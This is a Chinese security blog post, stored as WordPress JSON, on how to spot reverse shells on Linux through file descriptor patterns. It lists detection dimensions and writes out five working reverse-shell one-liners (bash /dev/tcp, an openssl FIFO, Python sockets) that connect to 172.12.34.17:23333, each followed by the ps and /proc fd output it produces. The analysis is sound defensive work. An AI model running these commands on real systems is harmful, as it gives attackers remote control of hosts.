{"id":5345,"date":"2022-10-28T20:01:12","date_gmt":"2022-10-28T12:01:12","guid":{"rendered":"https:\/\/ixyzero.com\/blog\/?p=5345"},"modified":"2022-10-28T20:01:12","modified_gmt":"2022-10-28T12:01:12","slug":"%e5%87%a0%e7%a7%8d%e5%8f%8d%e5%bc%b9shell%e7%9a%84fd%e7%89%b9%e5%be%81","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/5345.html","title":{"rendered":"\u51e0\u79cd\u53cd\u5f39shell\u7684fd\u7279\u5f81"},"content":{"rendered":"\n<p>=Start=<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u7f18\u7531\uff1a<\/h4>\n\n\n\n<p>\u4e4b\u524d\u5728\u590d\u4e60Linux\u4e0b\u6587\u4ef6\u91cd\u5b9a\u5411\u7684\u5185\u5bb9\u65f6\u987a\u4fbf\u901a\u8fc7\u5bf9\u53cd\u5f39shell\u547d\u4ee4\u7684\u539f\u7406\u8fdb\u884c\u89e3\u91ca\u6765\u52a0\u6df1\u5370\u8c61\uff0c\u4e5f\u770b\u4e86\u963f\u91cc\u4e91\u5b89\u5168\u4e2d\u5fc3\u603b\u7ed3\u7684\u51e0\u79cd\u53cd\u5f39shell\u7684\u5206\u7c7b\uff0c\u8bb0\u5f55\u4e86\u4e00\u4e0b\u5404\u7c7b\u53cd\u5f39shell\u7684fd(\u6587\u4ef6\u63cf\u8ff0\u7b26)\u60c5\u51b5\uff0c\u65b9\u4fbf\u6709\u9700\u8981\u7684\u65f6\u5019\u53c2\u8003\u3002\u53e6\u5916\u5c31\u662f\u53cd\u5f39shell\u7684\u5e95\u5c42\u903b\u8f91\u867d\u7136\u662f\u2014\u2014\u7f51\u7edc\u901a\u4fe1+\u547d\u4ee4\u6267\u884c+\u91cd\u5b9a\u5411\uff0c\u4f46\u662f\u53d8\u5f62\u592a\u591a\uff0c\u7279\u5f81\u4e0d\u4e00\uff0c\u6240\u4ee5\u8fd8\u662f\u9700\u8981\u91c7\u7528\u591a\u7ef4\u5ea6\u4ea4\u53c9\u68c0\u6d4b\u7684\u65b9\u6848\u624d\u80fd\u4ece\u6700\u5927\u7a0b\u5ea6\u4fdd\u969c\u68c0\u51fa\u6548\u679c\u3002\u591a\u4e86\u89e3\u591a\u5b66\u4e60\u591a\u603b\u7ed3\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u6b63\u6587\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\">\u53c2\u8003\u89e3\u7b54\uff1a<\/h5>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>\u8fdb\u7a0b\u7279\u5f81\u8986\u76d6<\/strong>\u2014\u2014\u5173\u952e\u5b57\/\u6b63\u5219\u5339\u914d\/\u2026\u2026<\/li><li><strong>\u6587\u4ef6\u63cf\u8ff0\u7b26\u5206\u6790<\/strong>\u2014\u20140\/1\/2\u662f\u5426\u5b8c\u6210\u4e86\u8f93\u5165\u8f93\u51fa\u7684\u95ed\u73af<\/li><li><strong>\u547d\u4ee4\u884c\u4e3a\u5e8f\u5217<\/strong>\u2014\u2014\u6bd4\u5982bash\u542f\u52a8python\uff0cpython\u53c8\u8d77\u4e86\u4e00\u4e2abash\u8fdb\u7a0b\u8fd9\u79cd<\/li><li><strong>\u5f02\u5e38Shell\u542f\u52a8<\/strong>\u2014\u2014\u6267\u884c\u7684\u53ef\u7591\u547d\u4ee4\uff08\u6bd4\u5982\u67e5\u672c\u673a\u7684\u5916\u7f51IP\/\u770bpasswd\u6587\u4ef6\/\u5728tmp\u76ee\u5f55\u521b\u5efa\u6587\u4ef6\/\u7ffbhistory\/\u2026\u2026\uff09<\/li><li>\u4e8c\u8fdb\u5236\u6c99\u7bb1\u2014\u2014\u5bf9\u4e8c\u8fdb\u5236\u6587\u4ef6\u7efc\u5408\u5bfc\u5165\u51fd\u6570\u7279\u5f81\u3001\u4ee3\u7801\u7279\u5f81\u3001\u4e8c\u8fdb\u5236\u5728\u6c99\u7bb1\u4e2d\u7684\u52a8\u6001\u884c\u4e3a\u7279\u5f81\u7b49\u591a\u4e2a\u7ef4\u5ea6\u8fdb\u884c\u68c0\u6d4b<\/li><li>\u811a\u672c\u6c99\u7bb1\u2014\u2014\u6587\u4ef6\u843d\u76d8\u68c0\u6d4b\/\u52a8\u6001\u89e3\u6df7\u6dc6\u540e\u8fdb\u884c\u68c0\u6d4b\/\u2026\u2026<\/li><li><strong>\u6d41\u91cf\u7279\u5f81\u8986\u76d6<\/strong>\u2014\u2014\u4ece\u6d41\u91cf\u5c42\u9762\u68c0\u6d4b\u5e38\u89c1Shell\u901a\u4fe1\u7279\u5f81<\/li><li><strong>\u5bf9\u6297\u884c\u4e3a\u68c0\u6d4b<\/strong>\u2014\u2014\u66ff\u6362\u7cfb\u7edfShell\u3001\u547d\u4ee4\u7f16\u7801\u3001\u2026\u2026<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code># \u65b9\u6cd50\n$ 0&lt;&amp;6;exec 6&lt;&gt;\/dev\/tcp\/172.12.34.17\/23333; bash -i &lt;&amp;6 &gt;&amp;6 2&gt;&amp;6\n\n# \u65b9\u6cd5\u4e00\n$ rm \/tmp\/s; mkfifo \/tmp\/s; \/bin\/bash -i &lt; \/tmp\/s 2&gt;&amp;1 | openssl s_client -quiet -connect 172.12.34.17:23333 &gt; \/tmp\/s; rm \/tmp\/s\n\n# \u65b9\u6cd5\u4e8c\n$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.12.34.17\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"\/bin\/bash\")'\n\n# \u65b9\u6cd5\u4e09\n$ python -c \"exec(\\\"import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True);s.send(proc.stdout.read()+proc.stderr.read())\\\")\"\n\n# \u65b9\u6cd5\u56db\n$ python -c \"exec(\\\"import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True);s.send(proc.stdout.read()+proc.stderr.read())\\\")\"\n\n\n\n# \u65b9\u6cd50\uff1afd\u60c5\u51b5\uff08\u6709\u7528\uff0c\u5bb9\u6613\uff09\n# \u901a\u8fc7sh\u8fdb\u7a0b 0\u30011 \u548c 2 \u4e3a\u76f8\u540c\u7684 fd \u53ef\u4ee5\u8fdb\u884c\u5224\u65ad\u2014\u2014\u6807\u51c6\u8f93\u5165\/\u6807\u51c6\u8f93\u51fa\/\u9519\u8bef\u8f93\u51fa\u90fd\u7ed1\u5b9a\u5230\u4e86\u540c\u4e00\u4e2afd\u4e0a\n$ ps afx | grep sh\n...\n27893 pts\/0    Ss     0:00          \\_ -bash\n 7224 pts\/0    S+     0:00          |   \\_ bash -i\n...\n$\n$ ls -al \/proc\/7224\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 17:12 0 -&gt; socket:&#91;202436917]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 17:12 1 -&gt; socket:&#91;202436917]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 17:12 2 -&gt; socket:&#91;202436917]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 17:12 255 -&gt; \/dev\/tty\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 17:12 3 -&gt; socket:&#91;202441759]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 17:12 6 -&gt; socket:&#91;202436917]\n\n\n# \u65b9\u6cd5\u4e00\uff1afd\u60c5\u51b5\uff08\u6709\u7528\uff0c\u5bb9\u6613\uff09\n# \u901a\u8fc7sh\u8fdb\u7a0b 1 \u548c 2 \u4e3a\u76f8\u540c\u7684 fd \u53ef\u4ee5\u8fdb\u884c\u5224\u65ad\u2014\u2014\u6807\u51c6\u8f93\u51fa\/\u9519\u8bef\u8f93\u51fa\u90fd\u7ed1\u5b9a\u5230\u4e86\u540c\u4e00\u4e2afd\u4e0a\n$ ps afx | grep sh\n...\n27893 pts\/0    Ss     0:00          \\_ -bash\n28736 pts\/0    S+     0:00          |   \\_ \/bin\/bash -i\n...\n\n$ ls -l \/proc\/28736\/fd\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:17 0 -&gt; \/tmp\/s (deleted)\nl-wx------. 1 ixyzero ixyzero 64 10\u6708 11 16:17 1 -&gt; pipe:&#91;201776017]\nl-wx------. 1 ixyzero ixyzero 64 10\u6708 11 16:17 2 -&gt; pipe:&#91;201776017]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:17 255 -&gt; \/dev\/tty\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:20 3 -&gt; socket:&#91;201800819]\n\n# \u65b9\u6cd5\u4e8c\uff1afd\u60c5\u51b5\uff08\u6709\u7528\uff0c\u5bb9\u6613\uff09\n# \u901a\u8fc7python\u8fdb\u7a0b 1 \u548c 2 \u4e3a\u76f8\u540c\u7684 fd \u53ef\u4ee5\u8fdb\u884c\u5224\u65ad\n$ ps afx | grep sh\n...\n27893 pts\/0    Ss     0:00          \\_ -bash\n17101 pts\/0    S+     0:00          |   \\_ python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.12.34.17\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"\/bin\/bash\")\n17131 pts\/2    Ss+    0:00          |       \\_ \/bin\/bash\n...\n\n$ ls -l \/proc\/17131\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 0 -&gt; \/dev\/pts\/2\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 1 -&gt; \/dev\/pts\/2\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 2 -&gt; \/dev\/pts\/2\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 255 -&gt; \/dev\/pts\/2\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 3 -&gt; socket:&#91;201900679]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 4 -&gt; \/run\/utmp\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:29 5 -&gt; socket:&#91;201898943]\n$ ls -l \/proc\/17101\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 0 -&gt; socket:&#91;201900679]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 1 -&gt; socket:&#91;201900679]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 2 -&gt; socket:&#91;201900679]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 3 -&gt; socket:&#91;201900679]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:28 4 -&gt; \/dev\/ptmx\n\n\n# \u65b9\u6cd5\u4e09\uff1afd\u60c5\u51b5\uff08\u65e0\u7279\u5f81\uff09\n$ ps afx | grep sh\n...\n27893 pts\/0    Ss     0:00          \\_ -bash\n 4795 pts\/0    S+     0:00          |   \\_ python -c exec(\"import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")\n...\n\n$ ls -l \/proc\/4795\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 0 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 1 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 2 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 3 -&gt; socket:&#91;202019899]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 5 -&gt; pipe:&#91;202019909]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 8 -&gt; pipe:&#91;202019910]\n\n$ ls -l \/proc\/4795\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 0 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 1 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 2 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 3 -&gt; socket:&#91;202019899]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:39 4 -&gt; pipe:&#91;202155377]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:41 7 -&gt; pipe:&#91;202155378]\n\n\n# \u65b9\u6cd5\u56db\uff1afd\u60c5\u51b5\uff08\u65e0\u7279\u5f81\uff09\n$ ps afx | grep sh\n...\n27893 pts\/0    Ss     0:00          \\_ -bash\n 7923 pts\/0    S+     0:00          |   \\_ python -c exec(\"import socket, subprocess;s = socket.socket();s.connect(('172.12.34.17',23333))\\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")\n...\n\n$ ls -l \/proc\/7923\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 0 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 1 -&gt; \/dev\/pts\/0\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 10 -&gt; pipe:&#91;202240666]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 2 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 3 -&gt; socket:&#91;202242062]\nl-wx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 5 -&gt; pipe:&#91;202240664]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 6 -&gt; pipe:&#91;202240665]\n$\n$ ls -l \/proc\/7923\/fd\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 0 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 1 -&gt; \/dev\/pts\/0\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 11 -&gt; pipe:&#91;202247344]\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 2 -&gt; \/dev\/pts\/0\nlrwx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 3 -&gt; socket:&#91;202242062]\nl-wx------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 7 -&gt; pipe:&#91;202247342]\nlr-x------. 1 ixyzero ixyzero 64 10\u6708 11 16:57 8 -&gt; pipe:&#91;202247343]<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u53c2\u8003\u94fe\u63a5\uff1a<\/h5>\n\n\n\n<p>\u4e91\u5b89\u5168\u4e2d\u5fc3\u53cd\u5f39Shell\u591a\u7ef4\u68c0\u6d4b\u6280\u672f\u8be6\u89e3<br><a href=\"https:\/\/www.alibabacloud.com\/help\/zh\/security-center\/latest\/detect-reverse-shells-from-multiple-dimensions\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.alibabacloud.com\/help\/zh\/security-center\/latest\/detect-reverse-shells-from-multiple-dimensions<\/a><\/p>\n\n\n\n<p>=END=<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=Start= \u7f18\u7531\uff1a \u4e4b\u524d\u5728\u590d\u4e60Linux\u4e0b\u6587\u4ef6\u91cd\u5b9a\u5411\u7684\u5185\u5bb9\u65f6\u987a\u4fbf\u901a\u8fc7\u5bf9\u53cd\u5f39shell\u547d\u4ee4\u7684\u539f\u7406\u8fdb\u884c\u89e3\u91ca\u6765\u52a0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,11,25],"tags":[30,37,707,1864],"class_list":["post-5345","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-linux","category-security","tag-linux","tag-security","tag-shell","tag-1864"],"views":1468,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=5345"}],"version-history":[{"count":1,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5345\/revisions"}],"predecessor-version":[{"id":5346,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5345\/revisions\/5346"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=5345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=5345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=5345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}